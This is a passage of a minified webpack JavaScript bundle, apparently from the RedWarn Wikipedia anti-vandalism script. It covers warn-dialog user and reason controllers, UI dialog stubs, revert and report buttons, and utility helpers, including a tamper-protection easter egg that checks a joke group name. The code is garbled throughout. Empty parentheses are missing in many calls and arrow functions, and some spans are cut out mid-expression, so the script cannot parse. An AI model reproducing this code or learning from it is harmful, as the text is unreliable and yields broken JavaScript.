e=a.h(p.default,Object.assign({width:"100%",label:g.default.t("ui:warn.reason.additionalText"),autofocus:!0},null!=this.warning?{[r.getWarningFieldVisibility(this.warning.additionalText)]:!0}:{})),t=p.MaterialTextInputUpgrade(e);return this.elementSet.additionalText={element:e,components:t},t.textField.listen("focusout",s(e),!0),t.textField.listen("keydown",s(e)),e})),c=document.getElementById(l);null!=c?c.parentElement.replaceChild(this.elementSet.root=d,c):this.elementSet.root=d}render{return this.refresh,this.elementSet.root}}t.MaterialWarnDialogReasonController=v,t.default=function(e){const t=new v(e);return Object.assign(t.render,{MWDReason:t})}},9770:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialWarnDialogUserController=void 0;const n=i(655),r=i(830),a=i(4802),o=n.__importStar(i(8963)),s=n.__importDefault(i(323)),l=n.__importDefault(i(5958)),d=n.__importDefault(i(8001)),c=n.__importDefault(i(3854)),u=i(8910),p=n.__importStar(i(9821)),g=n.__importDefault(i(3408)),f=i(4012),h=i(9381),m=n.__importDefault(i(9549)),v=n.__importDefault(i(5310));function w({parent:e}){if(!(e.user instanceof a.UserAccount))return;const t=e.user;return r.h("div",{class:"rw-mdc-warnDialog-user--groups"},r.h("b",null,"Groups:")," ",t.groups.map((e=>r.h("a",{target:e.page&&"_blank",href:e.page.url},u.capitalize(e.displayName)))).reduce(((e,t,i,n)=>i===n.length-1?e.concat(t):e.concat(t,", ")),[]))}function _({parent:e}){if(!(e.user instanceof a.UserAccount))return r.h("div",{class:"rw-mdc-warnDialog-user--overview"},r.h("a",{href:"/wiki/w:en:IP_address",target:"_blank"},`${d.default.t("mediawiki:ip")}`));const t=e.user;return r.h("div",{class:"rw-mdc-warnDialog-user--overview"},r.h("a",{onClick:=>{g.default(a.Page.fromTitle(`Special:Contributions/${t.username}`),{disableRedWarn:!0,safeMode:!0})},"data-rw-mdc-tooltip":d.default.t("ui:warn.user.show.contributions")},`${d.default.t("ui:warn.user.edits",{edits:t.editCount.toLocaleString})}`),r.h(c.default,null),r.h("a",{onClick:=>{g.default(t.userPage,{disableRedWarn:!0,safeMode:!0})},"data-rw-mdc-tooltip":d.default.t("ui:warn.user.show.userpage")},`${d.default.t("ui:warn.user.age",{localeAge:u.formatAge(t.registered)})}`))}function y({parent:e}){const t=e.user;if(!t.isPopulated||!t.warningAnalysis)throw new Error("MaterialWarnDialogUserCard called without the User being fully-populated.");const i=u.generateId(8),n=h.WarningIcons[t.warningAnalysis.level];return r.h("table",null,r.h("tr",null,r.h("td",{rowSpan:2},r.h("div",{class:"rw-mdc-warnDialog-user--main"},r.h("div",{class:"rw-mdc-warnDialog-user--username"},r.h("a",{onClick:=>{e.clearUser},"data-rw-mdc-tooltip":d.default.t("ui:warn.user.change")},t.username)),r.h(_,{parent:e})),r.h(w,{parent:e})),r.h("td",null,r.h(s.default,Object.assign({},n,{label:d.default.t("ui:warn.user.highestLevel"),tooltip:`${d.default.t("ui:warn.user.levelInfo",{context:`${a.WarningLevel[t.warningAnalysis.level].toLowerCase}`})}`},t.warningAnalysis.level>3?{onClick:=>{l.default.Toast.quickShow({content:d.default.t("ui:unfinished")})}}:{})))),r.h("tr",null,r.h("td",null,r.h(s.default,{icon:"assignment_ind",tooltip:d.default.t("ui:warn.user.talk.main").toString,onClick:=>{p.openMenu(`menu__${i}`)},"data-menu-id":`menu__${i}`}),r.h(p.default,{id:`menu__${i}`,items:[{label:d.default.t("ui:warn.user.talk.month").toString,action{g.default(t.talkPage,{disableRedWarn:!0,fragment:mw.util.wikiUrlencode(u.getMonthHeader),customStyle:`#${mw.util.wikiUrlencode(u.getMonthHeader)} { background-color: #fd0; }`})}},{label:d.default.t("ui:warn.user.talk.whole").toString,action{g.default(t.talkPage,{disableRedWarn:!0})}}]}))))}class b extends f.MaterialWarnDialogChild{constructor(e){super,this.props=e,this.elementSet={},this.user=e.originalUser}get active{return this.elementSet.root&&this.elementSet.root.classList.toggle("rw-mdc-warnDialog-user--active",this._active),this._active}set active(e){this.elementSet.root&&this.elementSet.root.classList.toggle("rw-mdc-warnDialog-user--active",e),this._active=e}get user{return this.props.warnDialog.user}set user(e){this.props.warnDialog.user=e,this.props.warnDialog.updatePreview}renderOverlayContent(e){var t,i;switch(e||(e=this.user?{type:"loading",user:this.user}:{type:"input",onFinish:e=>{this.updateUser(a.User.fromUsername(e))}}),this.elementSet.targetUserInput=void 0,e.type){case"loading":return r.h("div",{class:"rw-mdc-warnDialog-user--loading"},r.h("div",{class:"rw-mdc-warnDialog-user--username",onClick:=>{this.updating?l.default.Toast.quickShow({content:d.default.t("ui:warn.user.load_wait")}):this.updateUser(this.user)}},this.user.username),r.h("div",null,`${d.default.t("ui:warn.user.loading")}`));case"input":const n=r.h(o.default,{width:"400px",label:d.default.t("ui:warn.user.input"),defaultText:null!==(i=null===(t=this.lastUser)||void 0===t?void 0:t.username)&&void 0!==i?i:"",autofocus:!0});this.elementSet.targetUserInput={element:n,components:o.MaterialTextInputUpgrade(n)};const a==>{const t=this.elementSet.targetUserInput.components.textField.value.trim;t.length>0&&e.onFinish(u.normalize(t))};return n.querySelector("input"),n.querySelector("input").addEventListener("keyup",(e=>{"Enter"===e.key?a:"Escape"===e.key&&(this.elementSet.targetUserInput.components.textField.value=this.lastUser.username,a)})),r.h("div",{class:"rw-mdc-warnDialog-user--input"},n,r.h(s.default,{icon:"send",tooltip:d.default.t("ui:warn.user.confirm").toString,onClick:=>{a}}),this.lastUser&&r.h(s.default,{icon:"close",tooltip:d.default.t("ui:okCancel.cancel").toString,onClick:=>{e.onFinish(this.lastUser.username)}}))}}renderOverlay{return this.elementSet.overlay=r.h("div",{class:"rw-mdc-warnDialog-user--overlay"},this.renderOverlayContent),this.elementSet.overlay}renderMain{return this.elementSet.main=r.h("div",{class:"rw-mdc-warnDialog-user--main"},this.user&&this.user.isPopulated&&this.user.warningAnalysis?r.h(y,{parent:this}):""),this.elementSet.main}clearUser(e){return n.__awaiter(this,void 0,void 0,(function*{this.lastUser=null!=e?e:this.user,this.user=void 0,this.active=!1,this.refresh}))}updateUser(e){return n.__awaiter(this,void 0,void 0,(function*{if(null!=e){if(this.updating&&v.default.trace("Attempted to update user twice. Subsequent attempt blocked."),this.lastUser&&e.username===this.lastUser.username?this.user=this.lastUser:this.user=e,null!=this.user){if(this.user.isPopulated||(this.updating=!0,this.refresh,yield this.user.populate),this.user instanceof a.UserAccount&&this.user.groups.includesGroup("sysop")&&"proceed"!==(yield new m.default({title:d.default.t("ui:warn.risky.title").toString,content:r.h("div",{class:"rw-mdc-riskyRevert"},r.h("b",null,d.default.t("ui:warn.risky.content").toString)),actions:[{data:"cancel"},{data:"proceed"}]}).show))return void(yield this.clearUser(this.lastUser));this.user.warningAnalysis||(this.updating=!0,this.refresh,yield this.user.getWarningAnalysis),this.props.warnDialog.mwdReason.MWDReason.defaultLevel=this.user.warningAnalysis.level>3?4:this.user.warningAnalysis.level+1}this.updating=!1,setTimeout((=>{this.refresh}),100)}}))}refresh{const e=`rwMdcWarnDialogUser__${this.props.warnDialog.id}`,t=r.h("div",{id:e,class:"rw-mdc-warnDialog-user mdc-card mdc-card--outlined"},this.renderMain,this.renderOverlay),i=document.getElementById(e);null!=i?i.parentElement.replaceChild(this.elementSet.root=t,i):this.elementSet.root=t,this.active=!this.updating&&!!this.user&&this.user.isPopulated&&!!this.user.warningAnalysis,this.elementSet.targetUserInput&&$(this.elementSet.targetUserInput.element).is(":visible")&&this.elementSet.targetUserInput.components.textField.focus}render{if(this.refresh,!this.elementSet.root)throw"Refresh did not build warn dialog!";this.user&&this.user.isPopulated&&this.user.warningAnalysis||this.updating||this.active||(=>{n.__awaiter(this,void 0,void 0,(function*{this.updateUser(this.props.originalUser)}))});const e=setInterval((=>{null!=this.elementSet.root.parentElement?this.elementSet.root.classList.contains("rw-mdc-warnDialog-user--active")&&0==this.elementSet.main.children.length&&(v.default.warn("Invalid MaterialWarnDialogUser state detected! Please investigate in the future.",{elementSet:this.elementSet,state:this._active,statePostUpdate:this._active,updating:this.updating,user:this.user,lastUser:this.lastUser}),this.refresh):clearInterval(e)}),1e3);return this.elementSet.root}}t.MaterialWarnDialogUserController=b,t.default=function(e){const t=new b(e);return Object.assign(t.render,{MWDUser:t})}},4972:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=n.__importDefault(i(323)),a=i(4802),o=n.__importDefault(i(6724)),s=i(830);t.default=function(e){const{warning:t,id:i}=e;return s.h("div",{class:"rw-mdc-warnSearchDialog-warning mdc-card mdc-card--outlined","data-rw-warning":i},s.h("table",null,s.h("tr",null,s.h("td",{style:"width: 100%"},s.h("div",{class:"rw-mdc-cardTitle"},t.name)),s.h("td",{rowSpan:4},s.h(r.default,{icon:(=>{switch(t.type){case a.WarningType.Tiered:return"signal_cellular_alt";case a.WarningType.SingleIssue:return"info";case a.WarningType.PolicyViolation:return"new_releases"}}),ripple:!1}))),s.h("tr",null,s.h("td",{style:"width: 100%"},s.h("div",{class:"rw-mdc-cardSubtitle"},s.h("a",{href:o.default.articlePath(`Template:${t.template}${t.type===a.WarningType.Tiered?5===t.levels[0]?"4im":t.levels[0]:""}`),target:"_blank"},"")))),s.h("tr",null,s.h("td",null,s.h("div",{class:"rw-mdc-cardSubtitle"},t.type===a.WarningType.Tiered&&`Available levels: ${t.levels.map((e=>`${a.WarningLevel[e]} (${e===a.WarningLevel.Immediate?"4im":e})`)).join(", ")}`,t.type===a.WarningType.SingleIssue&&"Single-issue warning",t.type===a.WarningType.PolicyViolation&&"Policy violation warning")))))}},5337:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(...e){return e.filter((e=>null!=e&&0!=e)).join(" ")}},1493:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return Object.entries(e).filter((([e])=>e.startsWith("data-"))).reduce(((e,t)=>(e[t[0]]=t[1],e)),{})}},3408:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655).__importDefault(i(5958)),r=i(8910),a=i(3551);t.default=function(e,t={}){const i=Object.assign({src:t.safeMode?r.url(e.url,{safemode:"true"}):e.url,width:"calc(100vw - 176px)",height:"90vh"},t);return i.customStyle?Array.isArray(i.customStyle)?i.customStyle.push(a):i.customStyle=[i.customStyle,a]:i.customStyle=a,new n.default.IFrameDialog(i).show}},4236:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){if(null===e)return null;if(void 0===e)return;const t={};for(const[i,n]of Object.entries(e)){if(null==n)continue;t[i.split(/(?=[A-Z])/).map((e=>e.toLowerCase)).join("-")]=n}let i="";for(const[e,n]of Object.entries(t))i+=`${e}:${n};`;return i}},6921:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=n.__importDefault(i(8001)),o=i(4802),s=n.__importDefault(i(5958)),l=i(9052);class d{static get x{return d.enable+8===Math.pow(3,2)+1}static init{if(d.enable)return d.r=1,o.ClientUser.i.inGroup("https://www.youtube.com/watch?v=dQw4w9WgXcQ")||d.x||l.Configuration.Core.neopolitan.value?d.exec:void 0}static exec{return n.__awaiter(this,void 0,void 0,(function*{const e=[r.h("span",null)];e[0].innerHTML=a.default.t("ui:tamperProtection.warningContent");const t=new s.default.Dialog({actions:[],content:e,title:a.default.t("ui:tamperProtection.header")});yield t.show,l.Configuration.Core.neopolitan.value="I turn my head up to the sky, I focus one thought at a time.",l.Configuration.save}))}}t.default=d,d.enable=1,d.r=0},2458:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(830);t.default=e=>{const t=n.h("span",null);return t.innerHTML=e,t}},5958:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWUIElements=void 0;const n=i(655).__importDefault(i(3848)),r=i(1324),a=i(4936),o=i(9886),s=i(388),l=i(3639),d=i(5155),c=i(5837),u=i(1521),p=i(9209),g=i(8461);t.default=class{static get Dialog{return n.default.activeStyle.classMap.rwAlertDialog}static get InputDialog{return n.default.activeStyle.classMap.rwInputDialog}static get SelectionDialog{return n.default.activeStyle.classMap.rwSelectionDialog}static get WarnDialog{return n.default.activeStyle.classMap.rwWarnDialog}static get ProtectionRequestDialog{return n.default.activeStyle.classMap.rwProtectionRequestDialog}static get IFrameDialog{return n.default.activeStyle.classMap.rwIFrameDialog}static get Toast{return n.default.activeStyle.classMap.rwToast}static get DiffIcons{return n.default.activeStyle.classMap.rwDiffIcons}static get PageIcons{return n.default.activeStyle.classMap.rwPageIcons}static get ExtendedOptions{return n.default.activeStyle.classMap.rwExtendedOptions}},t.RWUIElements={[s.RWUIAlertDialog.elementName]:s.RWUIAlertDialog,[l.RWUIInputDialog.elementName]:l.RWUIInputDialog,[d.RWUISelectionDialog.elementName]:d.RWUISelectionDialog,[u.RWUIWarnDialog.elementName]:u.RWUIWarnDialog,[g.RWUIProtectionRequestDialog.elementName]:g.RWUIProtectionRequestDialog,[c.RWUIIFrameDialog.elementName]:c.RWUIIFrameDialog,[r.RWUIToast.elementName]:r.RWUIToast,[a.RWUIDiffIcons.elementName]:a.RWUIDiffIcons,[o.RWUIPageIcons.elementName]:o.RWUIPageIcons,[p.RWUIExtendedOptions.elementName]:p.RWUIExtendedOptions}},4250:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=n.__importDefault(i(6724)),a=n.__importDefault(i(8001)),o=n.__importDefault(i(5958)),s=i(4802),l=i(8910),d=n.__importDefault(i(7888));function c{return!1!==s.Page.isUserspacePage(r.default.currentPage)}function u{return!1!==s.Page.isSpecialPage(r.default.currentPage)}const p=[{id:"message",icon:"send",default:!0,visible:c,action{o.default.Toast.quickShow({content:a.default.t("ui:unfinished")})}},{id:"quickTemplate",icon:"library_add",default:!0,visible:c,action{o.default.Toast.quickShow({content:a.default.t("ui:unfinished")})}},{id:"warn",icon:"report",default:!0,visible:=>c&&null!=d.default.c.warnings,action{return n.__awaiter(this,void 0,void 0,(function*{new o.default.WarnDialog({autoWarn:!0,targetUser:mw.config.get("wgRelevantUserName")&&s.User.fromUsername(mw.config.get("wgRelevantUserName"))}).show}))}},{id:"protection",icon:"lock",default:!0,visible:=>{var e,t,i,n;return!u&&null!=(null===(t=null===(e=d.default.c.protection)||void 0===e?void 0:e.duration)||void 0===t?void 0:t.temporary)&&null!=(null===(n=null===(i=d.default.c.protection)||void 0===i?void 0:i.duration)||void 0===n?void 0:n.indefinite)},action{new o.default.ProtectionRequestDialog({autoRequest:!0}).show}},{id:"alertOnChange",icon:"notification_important",default:!0,color:"var(--rw-icon-alertonchange-color, black)",visible:=>!u,action{s.Watch.toggle}},{id:"latestRevision",icon:"watch_later",default:!0,visible:=>!u,action{r.default.currentPage.navigateToLatestRevision}},{id:"moreOptions",icon:"more_vert",default:!0,required:!0,visible:=>!u,action{(new o.default.ExtendedOptions).show}},{id:"vandalismStatistics",icon:"auto_graph",visible:=>!0,action{o.default.Toast.quickShow({content:a.default.t("ui:unfinished")})}},{id:"reportAIV",icon:"flag",visible:c,action{o.default.Toast.quickShow({content:a.default.t("ui:unfinished")})}},{id:"reportUAA",icon:"person_remove",visible:c,action{o.default.Toast.quickShow({content:a.default.t("ui:unfinished")})}},{id:"reportOversight",icon:"visibility_off",color:"midnightblue",visible:c,action{o.default.Toast.quickShow({content:a.default.t("ui:unfinished")})}},{id:"reportTAS",icon:"phone_in_talk",color:"red",visible:c,action{o.default.Toast.quickShow({content:a.default.t("ui:unfinished")})}},{id:"preferences",icon:"settings",visible:=>!0,action{o.default.Toast.quickShow({content:a.default.t("ui:unfinished")})}},{id:"rwTalk",icon:"question_answer",visible:=>!0,action{l.redirect("https://w.wiki/s6j",!0)}}];t.default=p},388:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWUIAlertDialog=void 0;const n=i(117);class r extends n.RWUIDialog{constructor(e){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.RWUIAlertDialog=r,r.elementName="rwAlertDialog"},117:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWUIDialog=t.RWUIDialogActionType=void 0;const n=i(655),r=n.__importDefault(i(9334)),a=n.__importDefault(i(8982));!function(e){e[e.Finish=0]="Finish",e[e.Close=1]="Close",e[e.Execute=2]="Execute"}(t.RWUIDialogActionType||(t.RWUIDialogActionType={}));class o extends a.default{constructor(e={}){var t;super,this.props=e,this.id=`dialog__${null!==(t=e.id)&&void 0!==t?t:r.default(16)}`,this.props=e}get result{return this._result}}t.RWUIDialog=o},4936:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWUIDiffIcons=void 0;const n=i(655).__importDefault(i(8982));class r extends n.default{constructor(e){super,Object.assign(e,this)}render{}onStartRevert(e){}onRevertStageChange(e){}onEndRevert(e=!1){}onRevertFailure(e){}onStartRestore(e){}onRestoreStageChange(e){}onEndRestore{}onRestoreFailure(e){}}t.RWUIDiffIcons=r,r.elementName="rwDiffIcons"},8982:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.default=class{}},9209:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWUIExtendedOptions=void 0;const n=i(117);class r extends n.RWUIDialog{constructor(e={}){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.RWUIExtendedOptions=r,r.elementName="rwExtendedOptions"},5837:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWUIIFrameDialog=void 0;const n=i(117);class r extends n.RWUIDialog{constructor(e){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.RWUIIFrameDialog=r,r.elementName="rwIFrameDialog"},3639:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWUIInputDialog=void 0;const n=i(117);class r extends n.RWUIDialog{constructor(e){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.RWUIInputDialog=r,r.elementName="rwInputDialog"},9886:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWUIPageIcons=void 0;const n=i(655).__importDefault(i(8982));class r extends n.default{render{}}t.RWUIPageIcons=r,r.elementName="rwPageIcons"},8461:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWUIProtectionRequestDialog=void 0;const n=i(117);class r extends n.RWUIDialog{constructor(e={}){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.RWUIProtectionRequestDialog=r,r.elementName="rwProtectionRequestDialog"},5155:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWUISelectionDialog=void 0;const n=i(117);class r extends n.RWUIDialog{constructor(e){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.RWUISelectionDialog=r,r.elementName="rwSelectionDialog"},1324:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWUIToast=t.RWUIToastStyle=void 0;const n=i(655),r=n.__importDefault(i(9334)),a=n.__importDefault(i(8982)),o=n.__importDefault(i(5958));var s;!function(e){e[e.Normal=0]="Normal",e[e.Leading=1]="Leading",e[e.Stacked=2]="Stacked"}(s=t.RWUIToastStyle||(t.RWUIToastStyle={}));class l extends a.default{constructor(e){var t,i;super,this.props=e,this.id=`toast__${e.id||r.default(16)}`,null!==(t=(i=this.props).style)&&void 0!==t||(i.style=s.Normal)}static quickShow(e){return new o.default.Toast(e).show}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.RWUIToast=l,l.elementName="rwToast"},1521:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RWUIWarnDialog=void 0;const n=i(117);class r extends n.RWUIDialog{constructor(e){super(e),this.props=e}show{throw new Error("Attempted to call abstract method")}render{throw new Error("Attempted to call abstract method")}}t.RWUIWarnDialog=r,r.elementName="rwWarnDialog"},3113:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=n.__importDefault(i(8001)),o=i(4802),s=n.__importDefault(i(7888)),l=n.__importDefault(i(5310));class d{static init{return n.__awaiter(this,void 0,void 0,(function*{mw.config.get("wgPageName").startsWith("Special:Contributions")&&d.display}))}static display{l.default.info("Loading contributions page buttons..."),document.querySelectorAll(".mw-contributions-list > li.mw-contributions-current[data-mw-revid]").forEach((e=>{const t=o.Revision.fromID(+e.getAttribute("data-mw-revid")),i={newRevision:t,latestRevision:t},l=r.h("a",{style:"color: green; cursor: pointer;",onClick:=>o.Revert.preview(i),"data-rw-tooltip":a.default.t("ui:contribs.previewTooltip")},a.default.t("ui:contribs.previewLink")),d=r.h("a",{style:"color: red; cursor: pointer;",onClick:=>o.Revert.revert(Object.assign(i,{prefilledReason:s.default.c.warnings.vandalismWarning.name})),"data-rw-tooltip":a.default.t("ui:contribs.vandalTooltip")},a.default.t("ui:contribs.vandalLink")),c=r.h("a",{style:"color: blue; cursor: pointer;",onClick:=>n.__awaiter(this,void 0,void 0,(function*{o.Revert.revert(Object.assign(i,{prefilledReason:yield o.Revert.promptRollbackReason(i,"")}))})),"data-rw-tooltip":a.default.t("ui:contribs.rollbackTooltip")},a.default.t("ui:contribs.rollbackLink")),u=r.h("span",{style:"cursor: default; font-family: Roboto; font-weight: 400;"}," ",l," ",d," ",c);e.querySelector(".mw-uctop").appendChild(u)}))}}t.default=d},3161:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(4802),a=i(830),o=n.__importDefault(i(5310)),s=n.__importDefault(i(5958));class l{static init{return n.__awaiter(this,void 0,void 0,(function*{r.Revert.isDiffPage&&(o.default.debug("Diff page detected!"),yield l.loadOptions(yield l.getContext))}))}static getContext(e){var t,i,a,o;return n.__awaiter(this,void 0,void 0,(function*{const n=mw.config.get("wgDiffNewId"),s=mw.config.get("wgDiffOldId"),l=null!==(i=null===(t=null==e?void 0:e.baseContext)||void 0===t?void 0:t.newRevision)&&void 0!==i?i:r.Revision.fromID(n,{page:r.Page.fromTitle(mw.config.get("wgRelevantPageName"))});return l.isPopulated||(yield l.populate),{newRevision:l,oldRevision:!1!==s?null!==(o=null===(a=null==e?void 0:e.baseContext)||void 0===a?void 0:a.oldRevision)&&void 0!==o?o:r.Revision.fromID(s,{page:r.Page.fromTitle(mw.config.get("wgRelevantPageName"))}):void 0,latestRevision:r.Revision.fromID(+mw.config.get("wgCurRevisionId"))}}))}static loadOptions(e,t=!0){t&&!mw.config.get("wgIsProbablyEditable")||document.querySelectorAll(".diff-ntitle, .diff-otitle").forEach((t=>{const i=new s.default.DiffIcons(Object.assign(Object.assign({},e),{side:t.classList.contains("diff-ntitle")?"new":"old"})),n=a.h("div",{class:"rwDiffIcons"},i.render),r=t.querySelector('[id^="tw-revert"]');r?r.after(n):t.firstElementChild.prepend(n)}))}}t.default=l},8560:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=n.__importDefault(i(5958));i(3377);t.default=class{static init{var e;return n.__awaiter(this,void 0,void 0,(function*{const t=new a.default.PageIcons,i=r.h("div",{id:"rwPageIcons"},t.render);(null!==(e=document.querySelector(".mw-indicators"))&&void 0!==e?e:document.getElementById("firstHeading")).insertAdjacentElement("beforebegin",i)}))}}},5147:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=n.__importDefault(i(3161)),a=n.__importDefault(i(3113)),o=n.__importDefault(i(8560));t.default=class{static inject{return n.__awaiter(this,void 0,void 0,(function*{return Promise.all([r.default.init,a.default.init,o.default.init])}))}}},1584:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.charAt(0).toUpperCase+e.slice(1)}},9657:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655).__importDefault(i(8001));t.default=function(e){const t=n.default.t("misc:ageFormat"),i=Date.now-e.getTime,r=Math.floor(i/315576e5),a=Math.floor(i/26298e5),o=Math.floor(i/864e5),s=Math.floor(i/36e5),l=Math.floor(i/6e4),d=Math.floor(i/1e3);let c;return c=d<=44?t.s:d<=89?t.m:l<=44?t.mm.replace("%d",l.toString):l<=89?t.h:s<=21?t.hh.replace("%d",s.toString):s<=35?t.d:o<=25?t.dd.replace("%d",o.toString):o<=45?t.M:o<=319?t.MM.replace("%d",a.toString):o<=547?t.y:t.yy.replace("%d",r.toString),t.past.replace("%s",c)}},6237:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e=new Date){return`${mw.language.months.genitive[e.getMonth]} ${e.getFullYear}`}},8910:function(e,t,i){"use strict";var n=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:!0}),t.url=t.sleep=t.semanticDifference=t.regexEscape=t.regexClone=t.redirect=t.normalize=t.isIPAddress=t.isEmptyObject=t.getMonthHeader=t.generateId=t.formatAge=t.capitalize=void 0;var r=i(1584);Object.defineProperty(t,"capitalize",{enumerable:!0,get:function{return n(r).default}});var a=i(9657);Object.defineProperty(t,"formatAge",{enumerable:!0,get:function{return n(a).default}});var o=i(9334);Object.defineProperty(t,"generateId",{enumerable:!0,get:function{return n(o).default}});var s=i(6237);Object.defineProperty(t,"getMonthHeader",{enumerable:!0,get:function{return n(s).default}});var l=i(4704);Object.defineProperty(t,"isEmptyObject",{enumerable:!0,get:function{return n(l).default}});var d=i(3261);Object.defineProperty(t,"isIPAddress",{enumerable:!0,get:function{return n(d).default}});var c=i(4139);Object.defineProperty(t,"normalize",{enumerable:!0,get:function{return n(c).default}});var u=i(3410);Object.defineProperty(t,"redirect",{enumerable:!0,get:function{return n(u).default}});var p=i(705);Object.defineProperty(t,"regexClone",{enumerable:!0,get:function{return n(p).default}});var g=i(576);Object.defineProperty(t,"regexEscape",{enumerable:!0,get:function{return n(g).default}});var f=i(7327);Object.defineProperty(t,"semanticDifference",{enumerable:!0,get:function{return n(f).default}});var h=i(9124);Object.defineProperty(t,"sleep",{enumerable:!0,get:function{return n(h).default}});var m=i(9618);Object.defineProperty(t,"url",{enumerable:!0,get:function{return n(m).default}})},4704:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){for(const t in e)return!1;return!0}},3261:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return mw.util.isIPv4Address(e)||mw.util.isIPv6Address(e)}},4139:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return new mw.Title(e).getPrefixedText}},9334:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz09123456789";t.default=function(e=8){let t="";for(t.length{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(830);t.default=function(e,t=!1){t?n.h("a",{target:"_blank",href:e}).click:window.location.href=e}},705:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t=""){const i=e.source;let n=e.flags;for(const e of t.toLowerCase)n.includes(e)||(n+=e);return new RegExp(i,n)}},576:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.replace(/[-\/\\^$*+?.|[\]{}]/g,"\\$&")}},7327:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){var i,n;const[r,a,o,s]=null!==(i=/(\d+)\.(\d+)\.(\d+)/g.exec(e))&&void 0!==i?i:[],[l,d,c,u]=null!==(n=/(\d+)\.(\d+)\.(\d+)/g.exec(t))&&void 0!==n?n:[];return null==r||null==l?null:+a>+d?1:+a<+d?-1:+o>+c?1:+o<+c?-1:+s>+u?1:+s<+u?-1:0}},9124:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655);t.default=function(e){return n.__awaiter(this,void 0,void 0,(function*{return new Promise((t=>setTimeout(t,e)))}))}},9618:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,i){let n;if("string"==typeof e){const t=document.createElement("a");t.href=e,n=new URL(t.href)}else n=e;if(null!=t)for(const e in t)t.hasOwnProperty(e)&&null!=t[e]&&n.searchParams.set(e,t[e]);return i&&(i.fragment&&(n.hash=i.fragment),i.query&&i.query.forEach(((e,t)=>{n.searchParams.append(t,e)}))),n.toString}},776:(e,t,i)=>{"use strict";i.r(t),i.d(t,{default:=>n});const n={gitHash:"706c973b528bd4e117c5e3c3d0838f6daf8056b7",gitHashShort:"706c973",time:1630723829102,platform:"linux",arch:"x64"}}},__webpack_module_cache__={},deferred;function __webpack_require__(e){var t=__webpack_module_cache__[e];if(void 0!==t)return t.exports;var i=__webpack_module_cache__[e]={id:e,exports:{}};return __webpack_modules__[e].call(i.exports,i,i.exports,__webpack_require__),i.exports}__webpack_require__.m=__webpack_modules__,deferred=[],__webpack_require__.O=(e,t,i,n)=>{if(!t){var r=1/0;for(l=0;l=n)&&Object.keys(__webpack_require__.O).every((e=>__webpack_require__.O[e](t[o])))?t.splice(o--,1):(a=!1,n0&&deferred[l-1][2]>n;l--)deferred[l]=deferred[l-1];deferred[l]=[t,i,n]},__webpack_require__.n=e=>{var 